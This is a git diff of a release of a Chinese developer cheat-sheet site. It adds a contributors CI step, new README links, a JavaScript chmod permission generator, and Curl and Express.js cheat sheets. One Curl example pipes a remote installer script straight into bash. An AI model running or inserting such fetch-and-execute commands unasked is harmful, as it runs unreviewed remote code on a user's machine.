released v1.10.0

.github/workflows/ci.yml

@@ -16,6 +16,13 @@ jobs:
       - run: npm install
       - run: npm run build
 
+      - name: Generate Contributors Images
+        uses: jaywcjlove/github-action-contributors@main
+        with:
+          filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\])
+          output: dist/CONTRIBUTORS.svg
+          avatarSize: 42
+
       - name: Create Tag
         id: create_tag
         uses: jaywcjlove/create-tag-action@main

README.md

@@ -8,9 +8,11 @@ Quick Reference
 [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/reference)](https://hub.docker.com/r/wcjiang/reference)
 <!--rehype:ignore:end-->
 
-为开发人员分享快速参考备忘清单(主要是方便自己)，在看到 [Reference](https://github.com/Randy8080/reference) 快速参考备忘单，感觉非常简单，造轮子使命感突然来了，造个中文版本的，为了方便自己的技术栈查阅，立马撸起来 :)。
+<!--rehype:ignore:start-->
+[![Quick Reference](https://user-images.githubusercontent.com/1680273/196679526-a87aa4af-a7cb-43ff-9817-edbd4e465058.png)](https://jaywcjlove.github.io/reference)
+<!--rehype:ignore:end-->
 
-如果您发现此处的备忘单不合适，您可以通过提交 [PR](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 来修复它或提供更好的备忘清单，只针对【中文】用户。以下是开源天使提供的一些备忘清单和快速参考 :)。
+为开发人员分享快速参考备忘清单(主要是方便自己)，在看到 [Reference](https://github.com/Randy8080/reference) 快速参考备忘单，感觉非常简单，造轮子使命感突然来了，造个中文版本的，为了方便自己的技术栈查阅，立马撸起来 :)。如果您发现此处的备忘单不合适，您可以通过提交 [PR](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 来修复它或提供更好的备忘清单，只针对【中文】用户。以下是开源天使提供的一些备忘清单和快速参考 :)。
 
 ## 编程
 
@@ -19,8 +21,11 @@ Quick Reference
 [Docker](./docs/docker.md)<!--rehype:style=background: rgb(72 143 223/var(\-\-bg\-opacity));-->
 [Dockerfile](./docs/dockerfile.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));-->
 [Golang](./docs/golang.md)<!--rehype:style=background: rgb(39 160 193/var(\-\-bg\-opacity));-->
+[INI](./docs/ini.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
 [JSON](./docs/json.md)<!--rehype:style=background: rgb(57 59 60/var(\-\-bg\-opacity));-->
 [Markdown](./docs/markdown.md)<!--rehype:style=background: rgb(103 61 156/var(\-\-bg\-opacity));-->
+[Swift](./docs/swift.md)<!--rehype:style=background: rgb(240 81 57/var(\-\-bg\-opacity));-->
+[SwiftUI](./docs/swiftui.md)<!--rehype:style=background: rgb(10 127 247/var(\-\-bg\-opacity));-->
 [TOML](./docs/toml.md)<!--rehype:style=background: rgb(132 132 132/var(\-\-bg\-opacity));-->
 [YAML](./docs/yaml.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
 <!--rehype:class=home-card-->
@@ -31,10 +36,13 @@ Quick Reference
 [Electron](./docs/electron.md)<!--rehype:style=background: rgb(0 72 153/var(\-\-bg\-opacity));-->
 [Emmet](./docs/emmet.md)<!--rehype:style=background: rgb(122 203 23/var(\-\-bg\-opacity));-->
 [Styled Components](./docs/styled-components.md)<!--rehype:style=background: rgb(221 60 184/var(\-\-bg\-opacity));-->
+[Stylus](./docs/stylus.md)<!--rehype:style=background: rgb(109 161 63/var(\-\-bg\-opacity));-->
+[Sass](./docs/sass.md)<!--rehype:style=background: rgb(207 100 154/var(\-\-bg\-opacity));-->
 [HTML](./docs/html.md)<!--rehype:style=background: rgb(228 77 39/var(\-\-bg\-opacity));-->
 [JavaScript](./docs/javascript.md)<!--rehype:style=background: rgb(203 183 31/var(\-\-bg\-opacity));-->
 [Jest](./docs/jest.md)<!--rehype:style=background: rgb(153 66 91/var(\-\-bg\-opacity));-->
 [Lerna](./docs/lerna.md)<!--rehype:style=background: rgb(192 132 252/var(\-\-bg\-opacity));-->
+[Less.js](./docs/lessjs.md)<!--rehype:style=background: rgb(29 54 93/var(\-\-bg\-opacity));-->
 [npm](./docs/npm.md)<!--rehype:style=background: rgb(203 2 0/var(\-\-bg\-opacity));-->
 [package.json](./docs/package.json.md)<!--rehype:style=background: rgb(132 132 132/var(\-\-bg\-opacity));-->
 [React](./docs/react.md)<!--rehype:style=background: rgb(34 143 173/var(\-\-bg\-opacity));-->
@@ -43,7 +51,13 @@ Quick Reference
 [Vue 2](./docs/vue2.md)<!--rehype:style=background: rgb(64 184 131/var(\-\-bg\-opacity));-->
 <!--rehype:class=home-card-->
 
-## 工具包
+## Nodejs
+
+[Express.js](./docs/expressjs.md)<!--rehype:style=background: rgb(95 151 206/var(\-\-bg\-opacity));-->
+[Koa.js](./docs/koajs.md)<!--rehype:style=background: rgb(95 151 206/var(\-\-bg\-opacity));-->
+<!--rehype:class=home-card-->
+
+## 工具
 
 [nginx](./docs/nginx.md)<!--rehype:style=background: rgb(0 193 9/var(\-\-bg\-opacity));-->
 [Semver](./docs/semver.md)<!--rehype:style=background: rgb(106 111 141/var(\-\-bg\-opacity));-->
@@ -51,17 +65,22 @@ Quick Reference
 [Sublime Text](./docs/sublime-text.md)<!--rehype:style=background: rgb(223 148 0/var(\-\-bg\-opacity));-->
 [VSCode](./docs/vscode.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
 [Vim](./docs/vim.md)<!--rehype:style=background: rgb(9 150 8/var(\-\-bg\-opacity));-->
+[WebStorm](./docs/webstorm.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
 [XPath](./docs/xpath.md)<!--rehype:style=background: rgb(91 163 230/var(\-\-bg\-opacity));-->
 <!--rehype:class=home-card-->
 
 ## Linux 命令
 
-[Chmod](./docs/chmod.md)<!--rehype:style=background: rgb(239 68 113/var(\-\-bg\-opacity));-->
+[Curl](./docs/curl.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
+[Chmod](./docs/chmod.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
 [Cron](./docs/cron.md)<!--rehype:style=background: rgb(239 68 68/var(\-\-bg\-opacity));-->
 [Git](./docs/git.md)<!--rehype:style=background: rgb(215 89 62/var(\-\-bg\-opacity));-->
 [Grep](./docs/grep.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
 [find](./docs/find.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
 [htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
+[Home Brew](./docs/homebrew.md)<!--rehype:style=background: rgb(252 185 87/var(\-\-bg\-opacity));-->
+[Netstat](./docs/netstat.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
+[Netcat](./docs/netcat.md)<!--rehype:style=background: rgb(4 92 135/var(\-\-bg\-opacity));-->
 [Sed](./docs/sed.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
 [SSH](./docs/ssh.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
 [Screen](./docs/screen.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
@@ -70,9 +89,12 @@ Quick Reference
 ## 其它
 
 [Quick Reference](./docs/quickreference.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
+[Github Actions](./docs/github-actions.md)<!--rehype:style=background: rgb(121 184 255/var(\-\-bg\-opacity));-->
+[Colors Named](./docs/colors-named.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
 [HTTP 状态码](./docs/http-status-code.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
 [HTML 字符实体](./docs/html-char.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
 [Emoji](./docs/emoji.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
+[Resolutions](./docs/resolutions.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
 <!--rehype:class=home-card-->
 
 ## 看到缺少什么了吗？
@@ -85,6 +107,16 @@ Quick Reference
 <!--rehype:style=margin-top:3rem-->
 
 <!--rehype:ignore:start-->
+## 贡献
+
+请参阅[贡献指南](./CONTRIBUTING.md)了解如何开始。一如既往，感谢我们出色的贡献者！
+
+<a href="https://github.com/jaywcjlove/reference/graphs/contributors">
+  <img src="https://jaywcjlove.github.io/reference/CONTRIBUTORS.svg" />
+</a>
+
+上图贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成贡献者图片。
+
 ## License
 
 MIT © [Kenny Wong](https://github.com/jaywcjlove)

docs/chmod.md

@@ -31,10 +31,21 @@ $ chmod -R 755 my_directory
 
 ### Chmod 生成器
 
-```html
-
+```html preview
+<div>
+权限：<input type="text" id="num" placeholder="777" maxlength="3" style="padding: 0.3rem 0.3rem;" /> <input type="text" id="let" placeholder="rwxrwxrwx" maxlength="9" style="padding: 0.3rem 0.3rem;" />
+</div>
 ```
 
+---
+
+&nbsp; | User | Group | Other
+:- | :- | :- | :-
+读 _(Read)_ | <input checked id="1" type="checkbox"></input> | <input checked id="4" type="checkbox"></input> | <input checked id="7" type="checkbox"></input>
+写 _(Write)_ | <input checked id="2" type="checkbox"></input> | <input checked id="5" type="checkbox"></input> | <input checked id="8" type="checkbox"></input>
+执行 _(Execute)_ | <input checked id="3" type="checkbox"></input> | <input checked id="6" type="checkbox"></input> | <input checked id="9" type="checkbox"></input>
+<!--rehype:className=show-header-->
+
 Chmod 生成器允许您以数字和符号的形式快速、直观地生成权限。
 
 ### 通用权限
@@ -263,4 +274,233 @@ $ find /path -type f -exec chmod 644 {} \;
 另见
 ----
 
-* [使用 chmod 修改文件权限](https://www.linode.com/docs/guides/modify-file-permissions-with-chmod/) _(linode.com)_
+* [使用 chmod 修改文件权限](https://www.linode.com/docs/guides/modify-file-permissions-with-chmod/) _(linode.com)_
+
+<!--rehype:ignore:start-->
+### 以下是 Chmod 生成器 JS 代码（代码用于网站请忽略不要删除）
+<!--rehype:ignore:end-->
+
+```html preview
+<!-- Chmod 生成器 JS 代码 -->
+<script type="text/javascript">
+  const reg_num = /^[0-7]{3}$/; // 一些正则表达式来检查 num 输入
+  const reg_let = /^([r\-]{1}[w\-]{1}[x\-]{1}){3}$/; // 一些正则表达式来检查文本输入
+  function checkBoxHandle() {
+    change_occured(true, false, false);
+    // get rid of bad input classes
+    document.getElementById('num').classList.remove('bad-input');
+    document.getElementById('let').classList.remove('bad-input');
+  }
+  window.addEventListener("DOMContentLoaded", function () {
+    // loop over all the check boxes
+    for (let i = 1; i < 10; i++) {
+      let checkBox = document.getElementById(`${i}`);
+      checkBox.addEventListener('change', function () {
+        change_occured(true, false, false);
+
+        // get rid of bad input classes
+        document.getElementById('num').classList.remove('bad-input');
+
+        document.getElementById('let').classList.remove('bad-input');
+      });
+    }
+    // the octal input
+    let num_input = document.getElementById('num');
+    let num_fn = function () {
+      // check for bad input
+      if (!reg_num.test(this.value)) {
+        this.classList.add('bad-input');
+      } else {
+        this.classList.remove('bad-input');
+        change_occured(false, true, false);
+      }
+    };
+    num_input.addEventListener('change', num_fn);
+    num_input.addEventListener('keyup', num_fn);
+    // the let input
+    let let_input = document.getElementById('let');
+    let let_fn = function () {
+      // check for bad input
+      if (!reg_let.test(this.value)) {
+        this.classList.add('bad-input');
+      } else {
+        this.classList.remove('bad-input');
+        change_occured(false, false, true);
+      }
+    };
+    let_input.addEventListener('change',let_fn);
+    let_input.addEventListener('keyup',let_fn);
+  });
+  /* SETUP
+  r-4-1  r-4-4  r-4-7
+  w-2-2  w-2-5  w-2-8
+  x-1-3  x-1-6  x-1-9
+  */
+  // define a function that runs when a change occures
+  function change_occured(caller_was_check, caller_was_num, caller_was_let) {
+    let num1 = 0, num2 = 0, num3 = 0; // these are the three numbers for the octal
+    let perm_string = ''; // holds the permision string ex. rw-x--r--
+    if (caller_was_check) {
+      // loop over all the check boxes and get the permisions
+      for (let i = 1; i < 10; i++) {
+        let checkBox = document.getElementById(`${i}`);
+        if (checkBox.checked) { // if checked
+          let current_perm = check_to_octal_and_text(i);
+          perm_string += `${current_perm.perm_let}`;
+          if (i <= 3) {
+            num1 += current_perm.perm_num;
+          } else if (i <= 6) {
+            num2 += current_perm.perm_num;
+          } else {
+            num3 += current_perm.perm_num;
+          }
+        } else { // if not checked
+          perm_string += '-';
+        }
+      }
+      // set the permision input text
+      document.getElementById('let').value = perm_string;
+      document.getElementById('num').value = `${num1}${num2}${num3}`;
+    } else if (caller_was_num) {
+      // get the individual numbers
+      let num_input_val = document.getElementById('num').value;
+      num1 = num_input_val.substring(0, 1);
+      num2 = num_input_val.substring(1, 2);
+      num3 = num_input_val.substring(2, 3);
+      // set the checkboxes and get the perm string
+      perm_string += octal_to_check_and_txt(num1, 0); //Owner
+      perm_string += octal_to_check_and_txt(num2, 1); //Owner
+      perm_string += octal_to_check_and_txt(num3, 2); //Owner
+      // set the permision input text
+      document.getElementById('let').value = perm_string;
+    } else if (caller_was_let) {
+      // get the text input
+      let perm_text = document.getElementById('let').value;
+      num1 = text_to_check_and_octal(perm_text.substring(0, 3), 0)
+      num2 = text_to_check_and_octal(perm_text.substring(3, 6), 3)
+      num3 = text_to_check_and_octal(perm_text.substring(6, 9), 6)
+      // set the octal value
+      document.getElementById('num').value = `${num1}${num2}${num3}`;
+    }
+  }
+  // define a function to converts the checkbox # to the respective permissions
+  // returns perm_num, perm_let
+  function check_to_octal_and_text(check_num) {
+    let perm_num = 0;
+    let perm_let = '-';
+    switch (check_num) {
+      case 1:
+      case 4:
+      case 7:
+        perm_num = 4;
+        perm_let = 'r';
+        break;
+      case 2:
+      case 5:
+      case 8:
+        perm_num = 2;
+        perm_let = 'w';
+        break;
+      case 3:
+      case 6:
+      case 9:
+        perm_num = 1;
+        perm_let = 'x';
+        break;
+      default:
+        perm_num = 0;
+        perm_let = '-';
+    }
+    // return values
+    return {
+      perm_num,
+      perm_let
+    };
+  }
+  /**
+   Takes a number 1-7 and which class it is in:
+   0 = owner
+   1 = Group
+   2 = Public
+   Returns: perm text (ex. "rwx") and sets the appropriate checkboxes
+   */
+  function octal_to_check_and_txt(octal_num, class_num) {
+    let perm_text = '';
+    let offset = class_num * 3;
+    switch (octal_num) {
+      case '1':
+        document.getElementById(`${1 + offset}`).checked = false;
+        document.getElementById(`${2 + offset}`).checked = false;
+        document.getElementById(`${3 + offset}`).checked = true;
+        perm_text = '--x';
+        break;
+      case '2':
+        document.getElementById(`${1 + offset}`).checked = false;
+        document.getElementById(`${2 + offset}`).checked = true;
+        document.getElementById(`${3 + offset}`).checked = false;
+        perm_text = '-w-';
+        break;
+      case '3':
+        document.getElementById(`${1 + offset}`).checked = false;
+        document.getElementById(`${2 + offset}`).checked = true;
+        document.getElementById(`${3 + offset}`).checked = true;
+        perm_text = '-wx';
+        break;
+      case '4':
+        document.getElementById(`${1 + offset}`).checked = true;
+        document.getElementById(`${2 + offset}`).checked = false;
+        document.getElementById(`${3 + offset}`).checked = false;
+        perm_text = 'r--';
+        break;
+      case '5':
+        document.getElementById(`${1 + offset}`).checked = true;
+        document.getElementById(`${2 + offset}`).checked = false;
+        document.getElementById(`${3 + offset}`).checked = true;
+        perm_text = 'r-x';
+        break;
+      case '6':
+        document.getElementById(`${1 + offset}`).checked = true;
+        document.getElementById(`${2 + offset}`).checked = true;
+        document.getElementById(`${3 + offset}`).checked = false;
+        perm_text = 'rw-';
+        break;
+      case '7':
+        document.getElementById(`${1 + offset}`).checked = true;
+        document.getElementById(`${2 + offset}`).checked = true;
+        document.getElementById(`${3 + offset}`).checked = true;
+        perm_text = 'rwx';
+        break;
+      default:
+        document.getElementById(`${1 + offset}`).checked = false;
+        document.getElementById(`${2 + offset}`).checked = false;
+        document.getElementById(`${3 + offset}`).checked = false;
+        perm_text = '---';
+    }
+    return perm_text;
+  }
+  /**
+   Takes 3 letters (r, w, x, -    ex. 'rw-') and an offset (0,3,6)
+   Returns the octal num and sets the appropriate checkboxes
+   */
+  function text_to_check_and_octal(letters, offset) {
+    let perm_num = 0; // the octal number to return
+    // add up the oct num and set the check boxes
+    for (let i = 0; i < 3; i++) {
+      current_let = letters.substring(i, i + 1);
+      if (current_let == 'r') {
+        document.getElementById(`${i + 1 + offset}`).checked = true;
+        perm_num += 4;
+      } else if (current_let == 'w') {
+        document.getElementById(`${i + 1 + offset}`).checked = true;
+        perm_num += 2;
+      } else if (current_let == 'x') {
+        document.getElementById(`${i + 1 + offset}`).checked = true;
+        perm_num += 1;
+      } else {
+        document.getElementById(`${i + 1 + offset}`).checked = false;
+      }
+    }
+    return perm_num;
+  }
+</script>
+```

docs/cron.md

@@ -95,7 +95,7 @@ Min  Hour Day  Mon  Weekday
 `L`       | 仅允许用于 `月份中的某天` 或 `星期几` 字段，`星期几` 中的 `2L` 表示每个月的最后一个星期二
 `井号 (#)` | 仅允许用于 `星期几` 字段，后面必须在 1 到 5 的范围内。例如，`4#1` 表示给定月份的“第一个星期四”。
 `问号(?)`  | 可以代替“*”并允许用于月份和星期几。使用仅限于 cron 表达式中的 `月份中的某天` 或 `星期几`。
-<!--rehype:className=show-header -->
+<!--rehype:className=show-header auto-wrap-->
 
 
 ## Also see

docs/css.md

@@ -1,10 +1,8 @@
 CSS 备忘清单
 ===
 
-
 这是一份关于 CSS 优点的快速参考备忘单，列出了选择器语法、属性、单位和其他有用的信息
 
-
 入门
 ------------
 
@@ -251,12 +249,12 @@ p:first-child {
 
 选择器 | 说明
 :- | :-
-`div.classname` | 具有特定类名的 Div
-`div#idname`    | 具有特定 ID 的 Div
-`div p`         | div中的段落
-`div > p`       | 所有 p 个标签<br>_div 深处的一层_
-`div + p`       | div 之后的 P 标签
-`div ~ p`       | div 前面的 P 标签
+`div.classname` | 具有特定类名的 div
+`div#idname`    | 具有特定 ID 的 div
+`div p`         | div 中的段落
+`div > p`       | div 子节点中的所有 `P` 标签
+`div + p`       | div 之后的 `P` 标签
+`div ~ p`       | div 前面的 `P` 标签
 
 另见: [相邻兄弟](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Adjacent_sibling_combinator) / [通用兄弟](https://developer.mozilla.org/zh-CN/docs/Web/CSS/General_sibling_combinator) / [子](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Child_combinator) 选择器
 
@@ -406,6 +404,8 @@ color: tan;
 color: rebeccapurple;
 ```
 
+更多标准[颜色名称](./colors-named.md)
+
 ### 十六进制颜色
 
 ```css

docs/curl.md

@@ -0,0 +1,230 @@
+Curl 备忘清单
+===
+
+此 [Curl](https://github.com/curl/curl) 备忘清单包含命令和一些常见的 Curl 技巧示例。
+
+入门
+----
+
+### 介绍
+
+Curl 是一种在服务器之间传输数据的工具，支持协议，包括 HTTP/FTP/IMAP/LDAP/POP3/SCP/SFTP/SMB/SMTP 等
+
+- [Curl GitHub 源码仓库](https://github.com/curl/curl) _(github.com)_
+- [Curl 官方网站](https://curl.se/) _(curl.se)_
+
+
+### Options
+<!--rehype:wrap-class=col-span-2 row-span-2-->
+
+```bash
+-o <file>    # --output: 写入文件
+-u user:pass # --user: 验证
+```
+
+---
+
+```bash
+-v           # --verbose: 在操作期间使 curl 冗长
+-vv          # 更冗长
+-s           # --silent: 不显示进度表或错误
+-S           # --show-error: 与 --silent (-sS) 一起使用时，显示错误但没有进度表
+```
+
+---
+
+```bash
+-i           # --include: 在输出中包含 HTTP 标头
+-I           # --head: 仅标头
+```
+
+### 请求
+
+```bash
+-X POST # --request
+-L  # 如果页面重定向，请点击链接
+-F  # --form: multipart/form-data 的 HTTP POST 数据
+```
+<!--rehype:className=wrap-text -->
+
+### 数据
+
+```bash
+# --data: HTTP post 数据
+# URL 编码(例如，status="Hello")
+-d 'data'
+
+# --data 通过文件
+-d @file
+
+# --get: 通过 get 发送 -d 数据
+-G
+```
+
+### 头信息 Headers
+
+```bash
+-A <str>         # --user-agent
+
+-b name=val      # --cookie
+
+-b FILE          # --cookie
+
+-H "X-Foo: y"    # --header
+
+--compressed     # 使用 deflate/gzip
+```
+
+### SSL
+
+```bash
+    --cacert <file>
+    --capath <dir>
+```
+
+```bash
+-E, --cert <cert>     # --cert: 客户端证书文件
+    --cert-type       # der/pem/eng
+-k, --insecure        # 对于自签名证书
+```
+
+#### 安装
+
+```bash
+apk add --update curl  # alpine linux 中安装
+```
+
+示例
+----
+<!--rehype:body-class=cols-6-->
+
+### CURL GET/HEAD
+<!--rehype:wrap-class=col-span-4 row-span-2-->
+
+命令 | 说明
+:- | :-
+`curl -I https://www.baidu.com` | `curl` 发请求
+`curl -v -I https://www.baidu.com` | 带有详细信息的 `curl` 发请求
+`curl -X GET https://www.baidu.com` | 使用显式 http 方法进行 `curl`
+`curl --noproxy 127.0.0.1 http://www.stackoverflow.com` | 没有 http 代理的 `curl`
+`curl --connect-timeout 10 -I -k https://www.baidu.com` | `curl` 默认没有超时
+`curl --verbose --header "Host: www.mytest.com:8182" www.baidu.com` | `curl` 得到额外的标题
+`curl -k -v https://www.google.com` | `curl` 获取带有标题的响应
+<!--rehype:class=auto-wrap-->
+
+### 多文件上传
+<!--rehype:wrap-class=col-span-2-->
+
+```bash
+$ curl -v -include \
+    --form key1=value1 \
+    --form upload=@localfilename URL
+```
+
+### 为 curl 响应美化 json 输出
+<!--rehype:wrap-class=col-span-2-->
+
+```bash
+$ curl -XGET http://${elasticsearch_ip}:9200/_cluster/nodes | python -m json.tool
+```
+<!--rehype:className=wrap-text -->
+
+### CURL POST
+<!--rehype:wrap-class=col-span-4-->
+
+命令 | 说明
+:- | :-
+`curl -d "name=username&password=123456" <URL>` | `curl` 发请求
+`curl <URL> -H "content-type: application/json" -d "{ \"woof\": \"bark\"}"` | `curl` 发送 json
+<!--rehype:class=auto-wrap-->
+
+### CURL 脚本安装 rvm
+<!--rehype:wrap-class=col-span-2-->
+
+```shell
+curl -sSL https://get.rvm.io | bash
+```
+
+### CURL 高级
+<!--rehype:wrap-class=col-span-6-->
+
+命令 | 说明
+:- | :-
+`curl -L -s http://ipecho.net/plain, curl -L -s http://whatismijnip.nl` | 获取我的公共 `IP`
+`curl -u $username:$password http://repo.dennyzhang.com/README.txt` | 带凭证的 `curl` 
+`curl -v -F key1=value1 -F upload=@localfilename <URL>` | `curl` 上传
+`curl -k -v --http2 https://www.google.com/` | 使用 http2 curl 
+`curl -T cryptopp552.zip -u test:test ftp://10.32.99.187/` | curl `ftp` 上传
+`curl -u test:test ftp://10.32.99.187/cryptopp552.zip -o cryptopp552.zip` | curl `ftp` 下载
+`curl -v -u admin:admin123 --upload-file package1.zip http://mysever:8081/dir/package1.zip` | 使用凭证 `curl` 上传
+<!--rehype:class=auto-wrap-->
+
+### 检查网站响应时间
+<!--rehype:wrap-class=col-span-4-->
+
+```shell
+curl -s -w \
+     '\nLookup time:\t%{time_namelookup}\nConnect time:\t%{time_connect}\nAppCon time:\t%{time_appconnect}\nRedirect time:\t%{time_redirect}\nPreXfer time:\t%{time_pretransfer}\nStartXfer time:\t%{time_starttransfer}\n\nTotal time:\t%{time_total}\n' \
+     -o /dev/null https://www.google.com
+```
+<!--rehype:className=wrap-text -->
+
+### 使用 Curl 检查远程资源是否可用
+<!--rehype:wrap-class=col-span-2-->
+
+```bash
+curl -o /dev/null --silent -Iw "%{http_code}" https://example.com/my.remote.tarball.gz
+```
+<!--rehype:className=wrap-text -->
+
+### 正在下载文件
+<!--rehype:wrap-class=col-span-3-->
+
+```bash
+curl https://example.com | \
+grep --only-matching 'src="[^"]*.[png]"' | \
+cut -d\" -f2 | \
+while read i; do curl https://example.com/"${i}" \
+-o "${i##*/}"; done
+```
+
+从站点下载所有 PNG 文件（使用GNU grep）
+
+### 下载文件，保存文件而不更改其名称
+<!--rehype:wrap-class=col-span-3-->
+
+```bash
+curl --remote-name "https://example.com/linux-distro.iso"
+```
+
+重命名文件
+
+```bash
+curl --remote-name "http://example.com/index.html" --output foo.html
+```
+
+### 继续部分下载
+<!--rehype:wrap-class=col-span-3-->
+
+```bash
+curl --remote-name --continue-at - "https://example.com/linux-distro.iso"
+```
+<!--rehype:className=wrap-text -->
+
+### 从多个域下载文件
+<!--rehype:wrap-class=col-span-3-->
+
+```bash
+curl "https://www.{example,w3,iana}.org/index.html" --output "file_#1.html"
+```
+<!--rehype:className=wrap-text -->
+
+### 下载一系列文件
+<!--rehype:wrap-class=col-span-3-->
+
+```bash
+curl "https://{foo,bar}.com/file_[1-4].webp" --output "#1_#2.webp"
+```
+<!--rehype:className=wrap-text -->
+
+下载一系列文件（输出`foo_file1.webp`、`foo_file2.webp…bar_file1_webp`等）

docs/dockerfile.md

@@ -110,6 +110,7 @@ RUN true | false  # 将脱离管道
 `CMD ["executable","param1","param2"]` | (exec 形式，这是首选形式)
 `CMD ["param1","param2"]` | (作为 ENTRYPOINT 的默认参数)
 `CMD command param1 param2` | (shell形式)
+<!--rehype:class=auto-wrap-->
 
 ```dockerfile
 EXPOSE 5900
@@ -185,6 +186,7 @@ temp?
 `*/temp*` | 在根的任何直接子目录中<br />排除名称以 `temp` 开头的文件和目录
 `*/*/temp*` | 从根以下两级的任何子目录中<br />排除以 `temp` 开头的文件和目录
 `temp?` | 排除根目录中名称为<br /> `temp` 的单字符扩展名的文件和目录
+<!--rehype:class=auto-wrap-->
 
 如果此文件存在，排除与其中的模式匹配的文件和目录，有利于避免 `ADD` 或 `COPY` 将敏感文件添加到镜像中。匹配是使用 Go 的 [filepath.Match](https://golang.org/pkg/path/filepath#Match) 规则完成的。
 
@@ -203,6 +205,7 @@ temp?
 `CMD command param1 param2` | 设置默认命令
 `ENV <key>=<value> ...` | 设置环境变量
 `EXPOSE <port> [<port>/<protocol>...]` | 运行时侦听指定的网络端口
+<!--rehype:class=auto-wrap-->
 
 ### 服务静态网站的最小 Docker 镜像
 <!--rehype:wrap-class=col-span-2-->

docs/expressjs.md

@@ -0,0 +1,407 @@
+Express 备忘清单
+===
+
+这是用于 Node.js 的快速、不拘一格、极简主义的 Web 框架，包含 [Express.js](http://expressjs.com/) 的 API 参考列表和一些示例。
+
+入门
+---
+
+### Hello World
+<!--rehype:wrap-class=row-span-2-->
+
+- 创建项目，添加 `package.json` 配置
+  ```bash
+  $ mkdir myapp # 创建目录
+  $ cd myapp    # 进入目录
+  $ npm init -y # 初始化一个配置
+  ```
+- 安装依赖
+  ```bash
+  $ npm install express # 安装依赖
+  ```
+- 入口文件 `index.js` 添加代码：
+  ```js
+  const express = require('express')
+  const app = express()
+  const port = 3000
+  app.get('/', (req, res) => {
+    res.send('Hello World!')
+  })
+  app.listen(port, () => {
+    console.log(`监听端口${port}示例应用`)
+  })
+  ```
+- 使用以下命令运行应用程序
+  ```bash
+  $ node index.js
+  ```
+<!--rehype:className=style-timeline-->
+
+### express -h
+<!--rehype:wrap-class=row-span-2-->
+
+```bash
+Usage: express [options] [dir]
+Options:
+  -h, --help          输出使用信息
+      --version       输出版本号
+  -e, --ejs           添加 ejs 引擎支持
+      --hbs           添加 hbs 引擎支持
+      --pug           添加 pug 引擎支持
+  -H, --hogan         添加 hogan.js 引擎支持
+      --no-view       无视图引擎生成
+  -v, --view <engine> 添加视图 <engine> 支持 (ejs|hbs|hjs|jade|pug|twig|vash) (默认jade) 
+  -c, --css <engine>  添加样式表 <engine> 支持 (less|stylus|compass|sass) (默认css)
+      --git           添加 .gitignore
+  -f, --force         强制非空目录
+```
+<!--rehype:className=wrap-text -->
+
+创建一个 `myapp` 的项目
+
+```bash
+$ express --view=pug myapp
+# 运行应用程序
+$ DEBUG=myapp:* npm start
+```
+
+### express()
+
+:- | :-
+:- | :-
+`express.json()` | [#](http://expressjs.com/en/4x/api.html#express.json)
+`express.raw()` | [#](http://expressjs.com/en/4x/api.html#express.raw)
+`express.Router()` | [#](http://expressjs.com/en/4x/api.html#express.router)
+`express.static()` | [#](http://expressjs.com/en/4x/api.html#express.static)
+`express.text()` | [#](http://expressjs.com/en/4x/api.html#express.text)
+`express.urlencoded()` | [#](http://expressjs.com/en/4x/api.html#express.urlencoded)
+
+### Router
+
+:- | :-
+:- | :-
+`router.all()` | [#](http://expressjs.com/en/4x/api.html#router.all)
+`router.METHOD()` | [#](http://expressjs.com/en/4x/api.html#router.METHOD)
+`router.param()` | [#](http://expressjs.com/en/4x/api.html#router.param)
+`router.route()` | [#](http://expressjs.com/en/4x/api.html#router.route)
+`router.use()` | [#](http://expressjs.com/en/4x/api.html#router.use)
+
+### Application
+
+```js
+var express = require('express')
+var app = express()
+
+console.dir(app.locals.title)
+// => 'My App'
+console.dir(app.locals.email)
+// => 'me@myapp.com'
+```
+
+#### **属性**
+
+:- | :-
+:- | :-
+`app.locals` | 应用程序中的局部变量 [#](http://expressjs.com/en/4x/api.html#app.locals)
+`app.mountpath` | 安装子应用程序的路径模式 [#](http://expressjs.com/en/4x/api.html#app.mountpath)
+
+#### **Events**
+
+:- | :-
+:- | :-
+`mount` | 子应用挂载到父应用上，子应用上触发事件 [#](http://expressjs.com/en/4x/api.html#app.onmount)
+
+#### **方法**
+
+:- | :-
+:- | :-
+`app.all()` | [#](http://expressjs.com/en/4x/api.html#app.all)
+`app.delete()` | [#](http://expressjs.com/en/4x/api.html#app.delete.method)
+`app.disable()` | [#](http://expressjs.com/en/4x/api.html#app.disable)
+`app.disabled()` | [#](http://expressjs.com/en/4x/api.html#app.disabled)
+`app.enable()` | [#](http://expressjs.com/en/4x/api.html#app.enable)
+`app.enabled()` | [#](http://expressjs.com/en/4x/api.html#app.enabled)
+`app.engine()` | [#](http://expressjs.com/en/4x/api.html#app.engine)
